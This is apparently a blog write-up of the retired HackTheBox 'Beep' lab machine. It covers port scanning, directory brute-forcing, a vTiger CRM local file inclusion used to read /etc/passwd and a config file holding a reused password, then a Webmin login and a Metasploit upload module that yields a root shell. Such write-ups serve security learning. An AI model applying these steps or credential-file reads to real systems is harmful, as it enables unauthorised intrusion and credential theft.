HackTheBox Beep - with Metasploit

Ari Kalfus | May 22, 2020 min read

This series will follow my exercises in HackTheBox. All published writeups are for retired HTB machines. Whether or not I use Metasploit to pwn the server will be indicated in the title.


Difficulty: Easy

Machine IP:

My initial port scan reveals a whole lot of ports open on this server.

sudo nmap -sS -T4 -p-

Host is up (0.015s latency).
Not shown: 65519 closed ports
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
443/tcp   open  https
878/tcp   open  unknown
993/tcp   open  imaps
995/tcp   open  pop3s                                                                                             
3306/tcp  open  mysql                                                                                             
4190/tcp  open  sieve                                                                                             
4445/tcp  open  upnotifyp                                                                                         
4559/tcp  open  hylafax                                                                                           
5038/tcp  open  unknown                                                                                           
10000/tcp open  snet-sensor-mgmt

Digging into the ports, I get the following:

sudo nmap -sS -p 22,25,80,110,111,143,443,878,993,995,3306,4190,4445,4559,5038,10000 -A -sV -sC

Host is up (0.014s latency).

22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp    open  smtp       Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
80/tcp    open  http       Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to
|_https-redirect: ERROR: Script execution failed (use -d to debug)
110/tcp   open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
111/tcp   open  rpcbind    2 (RPC #100000)
143/tcp   open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
443/tcp   open  ssl/https?
|_ssl-date: 2020-05-22T21:19:28+00:00; +4m51s from scanner time.
878/tcp   open  status     1 (RPC #100024)
993/tcp   open  ssl/imap   Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp   open  pop3       Cyrus pop3d
3306/tcp  open  mysql      MySQL (unauthorized)
4190/tcp  open  sieve      Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)
4445/tcp  open  upnotifyp?
4559/tcp  open  hylafax    HylaFAX 4.3.10
5038/tcp  open  asterisk   Asterisk Call Manager 1.1
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
|_http-server-header: MiniServ/1.570
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|media device|PBX|WAP|specialized|printer|storage-misc
Running (JUST GUESSING): Linux 2.6.X|2.4.X (95%), Linksys embedded (94%), Riverbed RiOS (94%), HP embedded (94%), Gemtek embedded (93%), Siemens embedded (93%), IBM embedded (93%)
OS CPE: cpe:/o:linux:linux_kernel:2.6.18 cpe:/o:linux:linux_kernel:2.6.27 cpe:/o:linux:linux_kernel:2.4.32 cpe:/h:linksys:wrv54g cpe:/o:riverbed:rios cpe:/h:gemtek:p360 cpe:/h:siemens:gigaset_se515dsl cpe:/h:ibm:ds4700
Aggressive OS guesses: Linux 2.6.18 (95%), Linux 2.6.9 - 2.6.24 (95%), Linux 2.6.9 - 2.6.30 (95%), Linux 2.6.27 (likely embedded) (95%), Linux 2.6.20-1 (Fedora Core 5) (95%), Linux 2.6.27 (95%), Linux 2.6.30 (95%), Linux 2.6.5 - 2.6.12 (95%), Linux 2.6.8 (Debian 3.1) (95%), Linux 2.6.9-22.0.1.EL (CentOS 4.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts:  beep.localdomain,, example.com, localhost; OS: Unix

Host script results:
|_clock-skew: 4m50s

TRACEROUTE (using port 111/tcp)
1   14.93 ms
2   15.02 ms

What stand out to me are the following:

  • Web server on 80 redirects to 443
  • This web server runs Apache httpd 2.2.3 on a CentOS machine
  • MySQL running on port 3306
  • Web server on 10000 is running Webmin with Miniserv version 1.5.70

Lets start with some enumeration of these two web servers. My directory brute force tool of choice is gobuster.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -k -u

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/big.txt                                             
[+] Status codes:   200,204,301,302,307,401,403                                                                   
[+] User Agent:     gobuster/3.0.1                                                                                
[+] Timeout:        10s                                                                                           
2020/05/22 17:37:59 Starting gobuster                                                                             
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/admin (Status: 301)
/cgi-bin/ (Status: 403)
/configs (Status: 301)
/favicon.ico (Status: 200)
/help (Status: 301)
/images (Status: 301)
/lang (Status: 301)
/libs (Status: 301)
/mail (Status: 301)
/modules (Status: 301)
/panel (Status: 301)
/recordings (Status: 301)
/robots.txt (Status: 200)
/static (Status: 301)
/themes (Status: 301)
/var (Status: 301)
/vtigercrm (Status: 301)
2020/05/22 17:42:08 Finished

I poke at the /configs, which contain come config files but do not render in the browser, and /admin, which prompts me for Basic Auth credentials. I try some defaults like admin/admin but do not get anywhere.

I see /vtigercrm at the end, let’s dig into that…

Navigating to, we see a login for a CRM page. The footer of the page contains: vtiger CRM 5.1.0.

Looking for vulnerabilities for this version of vtiger shows this:

searchsploit vtiger 5.1.0

-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
vTiger CRM 5.1.0 - Local File Inclusion                                         | php/webapps/18770.txt
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Opening that exploit, it tells me that this version of vTiger CRM is vulnerable to LFI at the path:


I replace localhost with, and sure enough I get the dump of /etc/passwd.

root❌0:0:root:/root:/bin/bash bin❌1:1:bin:/bin:/sbin/nologin daemon❌2:2:daemon:/sbin:/sbin/nologin adm❌3:4:adm:/var/adm:/sbin/nologin lp❌4:7:lp:/var/spool/lpd:/sbin/nologin sync❌5:0:sync:/sbin:/bin/sync shutdown❌6:0:shutdown:/sbin:/sbin/shutdown halt❌7:0:halt:/sbin:/sbin/halt mail❌8:12:mail:/var/spool/mail:/sbin/nologin news❌9:13:news:/etc/news: uucp❌10:14:uucp:/var/spool/uucp:/sbin/nologin operator❌11:0:operator:/root:/sbin/nologin games❌12💯games:/usr/games:/sbin/nologin gopher❌13:30:gopher:/var/gopher:/sbin/nologin ftp❌14:50:FTP User:/var/ftp:/sbin/nologin nobody❌99:99:Nobody:/:/sbin/nologin mysql❌27:27:MySQL Server:/var/lib/mysql:/bin/bash distcache❌94:94:Distcache:/:/sbin/nologin vcsa❌69:69:virtual console memory owner:/dev:/sbin/nologin pcap❌77:77::/var/arpwatch:/sbin/nologin ntp❌38:38::/etc/ntp:/sbin/nologin cyrus❌76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bash dbus❌81:81:System message bus:/:/sbin/nologin apache❌48:48:Apache:/var/www:/sbin/nologin mailman❌41:41:GNU Mailing List Manager:/usr/lib/mailman:/sbin/nologin rpc❌32:32:Portmapper RPC user:/:/sbin/nologin postfix❌89:89::/var/spool/postfix:/sbin/nologin asterisk❌100:101:Asterisk VoIP PBX:/var/lib/asterisk:/bin/bash rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody❌65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin sshd❌74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin spamfilter❌500:500::/home/spamfilter:/bin/bash haldaemon❌68:68:HAL daemon:/:/sbin/nologin xfs❌43:43:X Font Server:/etc/X11/fs:/sbin/nologin fanis❌501:501::/home/fanis:/bin/bash

A couple of things to note from this file:

  • The only non-system user appears to be fanis. So the user flag wil be at /home/fanis/user.txt.
  • Of all of the system users, Asterisk VoIP PBX catches my eye.

FreePBX is a web-based open source GUI (graphical user interface) that controls and manages Asterisk (PBX), an open source communication server.

So FreePBX manages the Asterisk server.

From https://www.asterisk.org/community/asteriskexchange/freepbx, we learn that some of the default Asterisk configuration files are:

  • /etc/amportal.conf
  • /etc/passwd
  • /etc/asterisk/*

In particular, the /etc/amportal.conf file holds most of Asterisk’s configuration. I want to read it.

Using vTiger CRM’s LFI vulnerability, we can read this file with the following request in the browser:

Don’t forget the null terminator %00 at the end of the request like I did.

This gives us a large dump of information.

amportal.conf file contents

The file contains a password at AMPDBUSER=asteriskuser AMPDBPASS=jEhdIekWmdjE. I also notice AMPMGRUSER=admin AMPMGRPASS=jEhdIekWmdjE.

So this password appears to be reused across accounts. In particular, it is used for what I presume is the “AMP manager user.”

I don’t have an immediate need to read other files, so let’s move to the other web server now.

At, we are presented with a login page for Webmin, " a web-based interface for system administration for Unix."

I try to log in as the default Webmin root user with the password I found, jEhdIekWmdjE. It is successful. Now we’re talking.

Searchsploit lists a number of exploits for Webmin:

searchsploit webmin

------------------------------------------------------------ ---------------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
DansGuardian Webmin Module 0.x - 'edit.cgi' Directory Trave | cgi/webapps/23535.txt
phpMyWebmin 1.0 - 'target' Remote File Inclusion            | php/webapps/2462.txt
phpMyWebmin 1.0 - 'window.php' Remote File Inclusion        | php/webapps/2451.txt
Webmin - Brute Force / Command Execution                    | multiple/remote/705.pl
webmin 0.91 - Directory Traversal                           | cgi/remote/21183.txt
Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing | linux/remote/22275.pl
Webmin 0.x - 'RPC' Privilege Escalation                     | linux/remote/21765.pl
Webmin 0.x - Code Input Validation                          | linux/local/21348.txt
Webmin 1.5 - Brute Force / Command Execution                | multiple/remote/746.pl
Webmin 1.5 - Web Brute Force (CGI)                          | multiple/remote/745.pl
Webmin 1.580 - '/file/show.cgi' Remote Command Execution (M | unix/remote/21851.rb
Webmin 1.850 - Multiple Vulnerabilities                     | cgi/webapps/42989.txt
Webmin 1.900 - Remote Command Execution (Metasploit)        | cgi/remote/46201.rb
Webmin 1.910 - 'Package Updates' Remote Command Execution ( | linux/remote/46984.rb
Webmin 1.920 - Remote Code Execution                        | linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code Execution (Metas | linux/remote/47230.rb
Webmin 1.x - HTML Email Command Execution                   | cgi/webapps/24574.txt
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosur | multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosur | multiple/remote/2017.pl
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

I notice there’s a RCE module for Metasploit listed. I start up msfconsole and search webmin.

The exploit/unix/webapp/webmin_upload_exec module interests me. The information on this module says it works against any Webmin version under 1.9.0. Since we are on 1.5.70, I feel good about this exploit.

From the available payloads, I select cmd/unix/bind_perl. I use root and jEhdIekWmdjE as the username and password settings for this exploit, which are required.

I execute this exploit and get a root shell. Nice!

From here I get a TTY shell with:

python -c 'import pty; pty.spawn("/bin/sh")'

and collect the user and root flags from /home/fanis/user.txt and /root/root.txt.

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